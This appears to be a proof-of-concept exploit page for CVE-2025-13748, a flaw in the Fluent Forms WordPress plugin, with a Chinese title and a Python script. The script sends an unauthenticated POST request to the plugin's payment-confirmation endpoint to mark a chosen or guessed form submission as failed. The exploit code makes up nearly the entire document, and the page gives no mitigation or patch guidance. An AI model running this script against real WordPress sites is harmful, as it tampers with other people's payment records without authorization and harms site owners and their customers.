CVE-2025-13748 | Fluent Forms WordPress插件IDOR漏洞导致未授权提交状态篡改

import requests # CVE-2025-13748 PoC - Fluent Forms IDOR Vulnerability # Target: WordPress site with Fluent Forms plugin <= 6.1.7 TARGET_URL = "https://target-site.com/" SUBMISSION_ID = "12345" # Enumerated or guessed submission ID def exploit_idor(): """ Exploit IDOR vulnerability in Fluent Forms Stripe payment processing This allows unauthenticated attackers to mark arbitrary submissions as failed """ # Construct the vulnerable endpoint endpoint = f"{TARGET_URL}?fluentform_payment_confirm=1" # Malicious request to mark submission as failed payload = { 'submission_id': SUBMISSION_ID, 'status': 'failed', 'action': 'confirmScaPayment' } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully for submission_id: {SUBMISSION_ID}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response: {response.text[:200]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-13748 - Fluent Forms IDOR PoC") print("=" * 50) exploit_idor()